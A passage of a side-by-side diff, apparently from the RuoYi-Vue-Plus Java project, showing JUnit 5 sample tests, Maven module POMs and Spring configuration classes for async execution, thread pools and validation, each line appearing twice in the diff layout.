public void testRepeatedTest() { public void testRepeatedTest() {
System.out.println(666); System.out.println(666);
} }
@BeforeAll @BeforeAll
public static void testBeforeAll() { public static void testBeforeAll() {
System.out.println("@BeforeAll =================="); System.out.println("@BeforeAll ==================");
} }
@BeforeEach @BeforeEach
public void testBeforeEach() { public void testBeforeEach() {
System.out.println("@BeforeEach =================="); System.out.println("@BeforeEach ==================");
} }
@AfterEach @AfterEach
public void testAfterEach() { public void testAfterEach() {
System.out.println("@AfterEach =================="); System.out.println("@AfterEach ==================");
} }
@AfterAll @AfterAll
public static void testAfterAll() { public static void testAfterAll() {
System.out.println("@AfterAll =================="); System.out.println("@AfterAll ==================");
} }
} }

View File

@@ -1,72 +1,72 @@
package org.dromara.test; package org.dromara.test;
import org.dromara.common.core.enums.UserType; import org.dromara.common.core.enums.UserType;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.EnumSource; import org.junit.jupiter.params.provider.EnumSource;
import org.junit.jupiter.params.provider.MethodSource; import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.NullSource; import org.junit.jupiter.params.provider.NullSource;
import org.junit.jupiter.params.provider.ValueSource; import org.junit.jupiter.params.provider.ValueSource;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.stream.Stream; import java.util.stream.Stream;
/** /**
* 带参数单元测试案例 * 带参数单元测试案例
* *
* @author Lion Li * @author Lion Li
*/ */
@DisplayName("带参数单元测试案例") @DisplayName("带参数单元测试案例")
public class ParamUnitTest { public class ParamUnitTest {
@DisplayName("测试 @ValueSource 注解") @DisplayName("测试 @ValueSource 注解")
@ParameterizedTest @ParameterizedTest
@ValueSource(strings = {"t1", "t2", "t3"}) @ValueSource(strings = {"t1", "t2", "t3"})
public void testValueSource(String str) { public void testValueSource(String str) {
System.out.println(str); System.out.println(str);
} }
@DisplayName("测试 @NullSource 注解") @DisplayName("测试 @NullSource 注解")
@ParameterizedTest @ParameterizedTest
@NullSource @NullSource
public void testNullSource(String str) { public void testNullSource(String str) {
System.out.println(str); System.out.println(str);
} }
@DisplayName("测试 @EnumSource 注解") @DisplayName("测试 @EnumSource 注解")
@ParameterizedTest @ParameterizedTest
@EnumSource(UserType.class) @EnumSource(UserType.class)
public void testEnumSource(UserType type) { public void testEnumSource(UserType type) {
System.out.println(type.getUserType()); System.out.println(type.getUserType());
} }
@DisplayName("测试 @MethodSource 注解") @DisplayName("测试 @MethodSource 注解")
@ParameterizedTest @ParameterizedTest
@MethodSource("getParam") @MethodSource("getParam")
public void testMethodSource(String str) { public void testMethodSource(String str) {
System.out.println(str); System.out.println(str);
} }
public static Stream<String> getParam() { public static Stream<String> getParam() {
List<String> list = new ArrayList<>(); List<String> list = new ArrayList<>();
list.add("t1"); list.add("t1");
list.add("t2"); list.add("t2");
list.add("t3"); list.add("t3");
return list.stream(); return list.stream();
} }
@BeforeEach @BeforeEach
public void testBeforeEach() { public void testBeforeEach() {
System.out.println("@BeforeEach =================="); System.out.println("@BeforeEach ==================");
} }
@AfterEach @AfterEach
public void testAfterEach() { public void testAfterEach() {
System.out.println("@AfterEach =================="); System.out.println("@AfterEach ==================");
} }
} }

View File

@@ -1,54 +1,54 @@
package org.dromara.test; package org.dromara.test;
import org.junit.jupiter.api.*; import org.junit.jupiter.api.*;
import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.context.SpringBootTest;
/** /**
* 标签单元测试案例 * 标签单元测试案例
* *
* @author Lion Li * @author Lion Li
*/ */
@SpringBootTest @SpringBootTest
@DisplayName("标签单元测试案例") @DisplayName("标签单元测试案例")
public class TagUnitTest { public class TagUnitTest {
@Tag("dev") @Tag("dev")
@DisplayName("测试 @Tag dev") @DisplayName("测试 @Tag dev")
@Test @Test
public void testTagDev() { public void testTagDev() {
System.out.println("dev"); System.out.println("dev");
} }
@Tag("prod") @Tag("prod")
@DisplayName("测试 @Tag prod") @DisplayName("测试 @Tag prod")
@Test @Test
public void testTagProd() { public void testTagProd() {
System.out.println("prod"); System.out.println("prod");
} }
@Tag("local") @Tag("local")
@DisplayName("测试 @Tag local") @DisplayName("测试 @Tag local")
@Test @Test
public void testTagLocal() { public void testTagLocal() {
System.out.println("local"); System.out.println("local");
} }
@Tag("exclude") @Tag("exclude")
@DisplayName("测试 @Tag exclude") @DisplayName("测试 @Tag exclude")
@Test @Test
public void testTagExclude() { public void testTagExclude() {
System.out.println("exclude"); System.out.println("exclude");
} }
@BeforeEach @BeforeEach
public void testBeforeEach() { public void testBeforeEach() {
System.out.println("@BeforeEach =================="); System.out.println("@BeforeEach ==================");
} }
@AfterEach @AfterEach
public void testAfterEach() { public void testAfterEach() {
System.out.println("@AfterEach =================="); System.out.println("@AfterEach ==================");
} }
} }

View File

@@ -1,46 +1,46 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" <project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent> <parent>
<artifactId>ruoyi-vue-plus</artifactId> <artifactId>ruoyi-vue-plus</artifactId>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<version>${revision}</version> <version>${revision}</version>
</parent> </parent>
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<modules> <modules>
<module>ruoyi-common-bom</module> <module>ruoyi-common-bom</module>
<module>ruoyi-common-social</module> <module>ruoyi-common-social</module>
<module>ruoyi-common-core</module> <module>ruoyi-common-core</module>
<module>ruoyi-common-doc</module> <module>ruoyi-common-doc</module>
<module>ruoyi-common-excel</module> <module>ruoyi-common-excel</module>
<module>ruoyi-common-idempotent</module> <module>ruoyi-common-idempotent</module>
<module>ruoyi-common-job</module> <module>ruoyi-common-job</module>
<module>ruoyi-common-log</module> <module>ruoyi-common-log</module>
<module>ruoyi-common-mail</module> <module>ruoyi-common-mail</module>
<module>ruoyi-common-mybatis</module> <module>ruoyi-common-mybatis</module>
<module>ruoyi-common-oss</module> <module>ruoyi-common-oss</module>
<module>ruoyi-common-ratelimiter</module> <module>ruoyi-common-ratelimiter</module>
<module>ruoyi-common-redis</module> <module>ruoyi-common-redis</module>
<module>ruoyi-common-satoken</module> <module>ruoyi-common-satoken</module>
<module>ruoyi-common-security</module> <module>ruoyi-common-security</module>
<module>ruoyi-common-sms</module> <module>ruoyi-common-sms</module>
<module>ruoyi-common-web</module> <module>ruoyi-common-web</module>
<module>ruoyi-common-translation</module> <module>ruoyi-common-translation</module>
<module>ruoyi-common-sensitive</module> <module>ruoyi-common-sensitive</module>
<module>ruoyi-common-json</module> <module>ruoyi-common-json</module>
<module>ruoyi-common-encrypt</module> <module>ruoyi-common-encrypt</module>
<module>ruoyi-common-tenant</module> <module>ruoyi-common-tenant</module>
<module>ruoyi-common-websocket</module> <module>ruoyi-common-websocket</module>
<module>ruoyi-common-sse</module> <module>ruoyi-common-sse</module>
</modules> </modules>
<artifactId>ruoyi-common</artifactId> <artifactId>ruoyi-common</artifactId>
<packaging>pom</packaging> <packaging>pom</packaging>
<description> <description>
common 通用模块 common 通用模块
</description> </description>
</project> </project>

View File

@@ -1,185 +1,185 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" <project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-bom</artifactId> <artifactId>ruoyi-common-bom</artifactId>
<version>${revision}</version> <version>${revision}</version>
<packaging>pom</packaging> <packaging>pom</packaging>
<description> <description>
ruoyi-common-bom common依赖项 ruoyi-common-bom common依赖项
</description> </description>
<properties> <properties>
<revision>5.2.3</revision> <revision>5.2.3</revision>
</properties> </properties>
<dependencyManagement> <dependencyManagement>
<dependencies> <dependencies>
<!-- 核心模块 --> <!-- 核心模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-core</artifactId> <artifactId>ruoyi-common-core</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 接口模块 --> <!-- 接口模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-doc</artifactId> <artifactId>ruoyi-common-doc</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- excel --> <!-- excel -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-excel</artifactId> <artifactId>ruoyi-common-excel</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 幂等 --> <!-- 幂等 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-idempotent</artifactId> <artifactId>ruoyi-common-idempotent</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 调度模块 --> <!-- 调度模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-job</artifactId> <artifactId>ruoyi-common-job</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 日志记录 --> <!-- 日志记录 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-log</artifactId> <artifactId>ruoyi-common-log</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 邮件服务 --> <!-- 邮件服务 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-mail</artifactId> <artifactId>ruoyi-common-mail</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 数据库服务 --> <!-- 数据库服务 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-mybatis</artifactId> <artifactId>ruoyi-common-mybatis</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- OSS --> <!-- OSS -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-oss</artifactId> <artifactId>ruoyi-common-oss</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 限流 --> <!-- 限流 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-ratelimiter</artifactId> <artifactId>ruoyi-common-ratelimiter</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 缓存服务 --> <!-- 缓存服务 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-redis</artifactId> <artifactId>ruoyi-common-redis</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- satoken --> <!-- satoken -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-satoken</artifactId> <artifactId>ruoyi-common-satoken</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 安全模块 --> <!-- 安全模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-security</artifactId> <artifactId>ruoyi-common-security</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 短信模块 --> <!-- 短信模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-sms</artifactId> <artifactId>ruoyi-common-sms</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-social</artifactId> <artifactId>ruoyi-common-social</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- web服务 --> <!-- web服务 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-web</artifactId> <artifactId>ruoyi-common-web</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 翻译模块 --> <!-- 翻译模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-translation</artifactId> <artifactId>ruoyi-common-translation</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 脱敏模块 --> <!-- 脱敏模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-sensitive</artifactId> <artifactId>ruoyi-common-sensitive</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 序列化模块 --> <!-- 序列化模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-json</artifactId> <artifactId>ruoyi-common-json</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 数据库加解密模块 --> <!-- 数据库加解密模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-encrypt</artifactId> <artifactId>ruoyi-common-encrypt</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- 租户模块 --> <!-- 租户模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-tenant</artifactId> <artifactId>ruoyi-common-tenant</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- WebSocket模块 --> <!-- WebSocket模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-websocket</artifactId> <artifactId>ruoyi-common-websocket</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
<!-- SSE模块 --> <!-- SSE模块 -->
<dependency> <dependency>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common-sse</artifactId> <artifactId>ruoyi-common-sse</artifactId>
<version>${revision}</version> <version>${revision}</version>
</dependency> </dependency>
</dependencies> </dependencies>
</dependencyManagement> </dependencyManagement>
</project> </project>

View File

@@ -1,99 +1,99 @@
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" <project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<parent> <parent>
<groupId>org.dromara</groupId> <groupId>org.dromara</groupId>
<artifactId>ruoyi-common</artifactId> <artifactId>ruoyi-common</artifactId>
<version>${revision}</version> <version>${revision}</version>
</parent> </parent>
<modelVersion>4.0.0</modelVersion> <modelVersion>4.0.0</modelVersion>
<artifactId>ruoyi-common-core</artifactId> <artifactId>ruoyi-common-core</artifactId>
<description> <description>
ruoyi-common-core 核心模块 ruoyi-common-core 核心模块
</description> </description>
<dependencies> <dependencies>
<!-- Spring框架基本的核心工具 --> <!-- Spring框架基本的核心工具 -->
<dependency> <dependency>
<groupId>org.springframework</groupId> <groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId> <artifactId>spring-context-support</artifactId>
</dependency> </dependency>
<!-- SpringWeb模块 --> <!-- SpringWeb模块 -->
<dependency> <dependency>
<groupId>org.springframework</groupId> <groupId>org.springframework</groupId>
<artifactId>spring-web</artifactId> <artifactId>spring-web</artifactId>
</dependency> </dependency>
<!-- 自定义验证注解 --> <!-- 自定义验证注解 -->
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-validation</artifactId> <artifactId>spring-boot-starter-validation</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-aop</artifactId> <artifactId>spring-boot-starter-aop</artifactId>
</dependency> </dependency>
<!--常用工具类 --> <!--常用工具类 -->
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId> <artifactId>commons-lang3</artifactId>
</dependency> </dependency>
<!-- servlet包 --> <!-- servlet包 -->
<dependency> <dependency>
<groupId>jakarta.servlet</groupId> <groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId> <artifactId>jakarta.servlet-api</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>cn.hutool</groupId> <groupId>cn.hutool</groupId>
<artifactId>hutool-core</artifactId> <artifactId>hutool-core</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>cn.hutool</groupId> <groupId>cn.hutool</groupId>
<artifactId>hutool-http</artifactId> <artifactId>hutool-http</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>cn.hutool</groupId> <groupId>cn.hutool</groupId>
<artifactId>hutool-extra</artifactId> <artifactId>hutool-extra</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.projectlombok</groupId> <groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId> <artifactId>lombok</artifactId>
</dependency> </dependency>
<!-- 自动生成YML配置关联JSON文件 --> <!-- 自动生成YML配置关联JSON文件 -->
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-configuration-processor</artifactId> <artifactId>spring-boot-configuration-processor</artifactId>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.springframework.boot</groupId> <groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-properties-migrator</artifactId> <artifactId>spring-boot-properties-migrator</artifactId>
<scope>runtime</scope> <scope>runtime</scope>
</dependency> </dependency>
<dependency> <dependency>
<groupId>io.github.linpeilie</groupId> <groupId>io.github.linpeilie</groupId>
<artifactId>mapstruct-plus-spring-boot-starter</artifactId> <artifactId>mapstruct-plus-spring-boot-starter</artifactId>
</dependency> </dependency>
<!-- 离线IP地址定位库 --> <!-- 离线IP地址定位库 -->
<dependency> <dependency>
<groupId>org.lionsoul</groupId> <groupId>org.lionsoul</groupId>
<artifactId>ip2region</artifactId> <artifactId>ip2region</artifactId>
</dependency> </dependency>
</dependencies> </dependencies>
</project> </project>

View File

@@ -1,17 +1,17 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import org.springframework.boot.autoconfigure.AutoConfiguration; import org.springframework.boot.autoconfigure.AutoConfiguration;
import org.springframework.context.annotation.EnableAspectJAutoProxy; import org.springframework.context.annotation.EnableAspectJAutoProxy;
import org.springframework.scheduling.annotation.EnableAsync; import org.springframework.scheduling.annotation.EnableAsync;
/** /**
* 程序注解配置 * 程序注解配置
* *
* @author Lion Li * @author Lion Li
*/ */
@AutoConfiguration @AutoConfiguration
@EnableAspectJAutoProxy @EnableAspectJAutoProxy
@EnableAsync(proxyTargetClass = true) @EnableAsync(proxyTargetClass = true)
public class ApplicationConfig { public class ApplicationConfig {
} }

View File

@@ -1,52 +1,52 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import cn.hutool.core.util.ArrayUtil; import cn.hutool.core.util.ArrayUtil;
import org.dromara.common.core.exception.ServiceException; import org.dromara.common.core.exception.ServiceException;
import org.dromara.common.core.utils.SpringUtils; import org.dromara.common.core.utils.SpringUtils;
import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler; import org.springframework.aop.interceptor.AsyncUncaughtExceptionHandler;
import org.springframework.boot.autoconfigure.AutoConfiguration; import org.springframework.boot.autoconfigure.AutoConfiguration;
import org.springframework.core.task.VirtualThreadTaskExecutor; import org.springframework.core.task.VirtualThreadTaskExecutor;
import org.springframework.scheduling.annotation.AsyncConfigurer; import org.springframework.scheduling.annotation.AsyncConfigurer;
import java.util.Arrays; import java.util.Arrays;
import java.util.concurrent.Executor; import java.util.concurrent.Executor;
/** /**
* 异步配置 * 异步配置
* <p> * <p>
* 如果未使用虚拟线程则生效 * 如果未使用虚拟线程则生效
* *
* @author Lion Li * @author Lion Li
*/ */
@AutoConfiguration @AutoConfiguration
public class AsyncConfig implements AsyncConfigurer { public class AsyncConfig implements AsyncConfigurer {
/** /**
* 自定义 @Async 注解使用系统线程池 * 自定义 @Async 注解使用系统线程池
*/ */
@Override @Override
public Executor getAsyncExecutor() { public Executor getAsyncExecutor() {
if(SpringUtils.isVirtual()) { if(SpringUtils.isVirtual()) {
return new VirtualThreadTaskExecutor("async-"); return new VirtualThreadTaskExecutor("async-");
} }
return SpringUtils.getBean("scheduledExecutorService"); return SpringUtils.getBean("scheduledExecutorService");
} }
/** /**
* 异步执行异常处理 * 异步执行异常处理
*/ */
@Override @Override
public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() { public AsyncUncaughtExceptionHandler getAsyncUncaughtExceptionHandler() {
return (throwable, method, objects) -> { return (throwable, method, objects) -> {
throwable.printStackTrace(); throwable.printStackTrace();
StringBuilder sb = new StringBuilder(); StringBuilder sb = new StringBuilder();
sb.append("Exception message - ").append(throwable.getMessage()) sb.append("Exception message - ").append(throwable.getMessage())
.append(", Method name - ").append(method.getName()); .append(", Method name - ").append(method.getName());
if (ArrayUtil.isNotEmpty(objects)) { if (ArrayUtil.isNotEmpty(objects)) {
sb.append(", Parameter value - ").append(Arrays.toString(objects)); sb.append(", Parameter value - ").append(Arrays.toString(objects));
} }
throw new ServiceException(sb.toString()); throw new ServiceException(sb.toString());
}; };
} }
} }

View File

@@ -1,33 +1,33 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import lombok.Data; import lombok.Data;
import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.boot.context.properties.ConfigurationProperties;
import org.springframework.stereotype.Component; import org.springframework.stereotype.Component;
/** /**
* 读取项目相关配置 * 读取项目相关配置
* *
* @author Lion Li * @author Lion Li
*/ */
@Data @Data
@Component @Component
@ConfigurationProperties(prefix = "ruoyi") @ConfigurationProperties(prefix = "ruoyi")
public class RuoYiConfig { public class RuoYiConfig {
/** /**
* 项目名称 * 项目名称
*/ */
private String name; private String name;
/** /**
* 版本 * 版本
*/ */
private String version; private String version;
/** /**
* 版权年份 * 版权年份
*/ */
private String copyrightYear; private String copyrightYear;
} }

View File

@@ -1,78 +1,78 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import jakarta.annotation.PreDestroy; import jakarta.annotation.PreDestroy;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.concurrent.BasicThreadFactory; import org.apache.commons.lang3.concurrent.BasicThreadFactory;
import org.dromara.common.core.config.properties.ThreadPoolProperties; import org.dromara.common.core.config.properties.ThreadPoolProperties;
import org.dromara.common.core.utils.Threads; import org.dromara.common.core.utils.Threads;
import org.springframework.boot.autoconfigure.AutoConfiguration; import org.springframework.boot.autoconfigure.AutoConfiguration;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.boot.context.properties.EnableConfigurationProperties; import org.springframework.boot.context.properties.EnableConfigurationProperties;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor;
import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.ScheduledThreadPoolExecutor; import java.util.concurrent.ScheduledThreadPoolExecutor;
import java.util.concurrent.ThreadPoolExecutor; import java.util.concurrent.ThreadPoolExecutor;
/** /**
* 线程池配置 * 线程池配置
* *
* @author Lion Li * @author Lion Li
**/ **/
@Slf4j @Slf4j
@AutoConfiguration @AutoConfiguration
@EnableConfigurationProperties(ThreadPoolProperties.class) @EnableConfigurationProperties(ThreadPoolProperties.class)
public class ThreadPoolConfig { public class ThreadPoolConfig {
/** /**
* 核心线程数 = cpu 核心数 + 1 * 核心线程数 = cpu 核心数 + 1
*/ */
private final int core = Runtime.getRuntime().availableProcessors() + 1; private final int core = Runtime.getRuntime().availableProcessors() + 1;
private ScheduledExecutorService scheduledExecutorService; private ScheduledExecutorService scheduledExecutorService;
@Bean(name = "threadPoolTaskExecutor") @Bean(name = "threadPoolTaskExecutor")
@ConditionalOnProperty(prefix = "thread-pool", name = "enabled", havingValue = "true") @ConditionalOnProperty(prefix = "thread-pool", name = "enabled", havingValue = "true")
public ThreadPoolTaskExecutor threadPoolTaskExecutor(ThreadPoolProperties threadPoolProperties) { public ThreadPoolTaskExecutor threadPoolTaskExecutor(ThreadPoolProperties threadPoolProperties) {
ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor(); ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();
executor.setCorePoolSize(core); executor.setCorePoolSize(core);
executor.setMaxPoolSize(core * 2); executor.setMaxPoolSize(core * 2);
executor.setQueueCapacity(threadPoolProperties.getQueueCapacity()); executor.setQueueCapacity(threadPoolProperties.getQueueCapacity());
executor.setKeepAliveSeconds(threadPoolProperties.getKeepAliveSeconds()); executor.setKeepAliveSeconds(threadPoolProperties.getKeepAliveSeconds());
executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); executor.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy());
return executor; return executor;
} }
/** /**
* 执行周期性或定时任务 * 执行周期性或定时任务
*/ */
@Bean(name = "scheduledExecutorService") @Bean(name = "scheduledExecutorService")
protected ScheduledExecutorService scheduledExecutorService() { protected ScheduledExecutorService scheduledExecutorService() {
ScheduledThreadPoolExecutor scheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(core, ScheduledThreadPoolExecutor scheduledThreadPoolExecutor = new ScheduledThreadPoolExecutor(core,
new BasicThreadFactory.Builder().namingPattern("schedule-pool-%d").daemon(true).build(), new BasicThreadFactory.Builder().namingPattern("schedule-pool-%d").daemon(true).build(),
new ThreadPoolExecutor.CallerRunsPolicy()) { new ThreadPoolExecutor.CallerRunsPolicy()) {
@Override @Override
protected void afterExecute(Runnable r, Throwable t) { protected void afterExecute(Runnable r, Throwable t) {
super.afterExecute(r, t); super.afterExecute(r, t);
Threads.printException(r, t); Threads.printException(r, t);
} }
}; };
this.scheduledExecutorService = scheduledThreadPoolExecutor; this.scheduledExecutorService = scheduledThreadPoolExecutor;
return scheduledThreadPoolExecutor; return scheduledThreadPoolExecutor;
} }
/** /**
* 销毁事件 * 销毁事件
*/ */
@PreDestroy @PreDestroy
public void destroy() { public void destroy() {
try { try {
log.info("====关闭后台任务任务线程池===="); log.info("====关闭后台任务任务线程池====");
Threads.shutdownAndAwaitTermination(scheduledExecutorService); Threads.shutdownAndAwaitTermination(scheduledExecutorService);
} catch (Exception e) { } catch (Exception e) {
log.error(e.getMessage(), e); log.error(e.getMessage(), e);
} }
} }
} }

View File

@@ -1,40 +1,40 @@
package org.dromara.common.core.config; package org.dromara.common.core.config;
import jakarta.validation.Validator; import jakarta.validation.Validator;
import org.hibernate.validator.HibernateValidator; import org.hibernate.validator.HibernateValidator;
import org.springframework.boot.autoconfigure.AutoConfiguration; import org.springframework.boot.autoconfigure.AutoConfiguration;
import org.springframework.context.MessageSource; import org.springframework.context.MessageSource;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean; import org.springframework.validation.beanvalidation.LocalValidatorFactoryBean;
import java.util.Properties; import java.util.Properties;
/** /**
* 校验框架配置类 * 校验框架配置类
* *
* @author Lion Li * @author Lion Li
*/ */
@AutoConfiguration @AutoConfiguration
public class ValidatorConfig { public class ValidatorConfig {
/** /**
* 配置校验框架 快速返回模式 * 配置校验框架 快速返回模式
*/ */
@Bean @Bean
public Validator validator(MessageSource messageSource) { public Validator validator(MessageSource messageSource) {
try (LocalValidatorFactoryBean factoryBean = new LocalValidatorFactoryBean()) { try (LocalValidatorFactoryBean factoryBean = new LocalValidatorFactoryBean()) {
// 国际化 // 国际化
factoryBean.setValidationMessageSource(messageSource); factoryBean.setValidationMessageSource(messageSource);
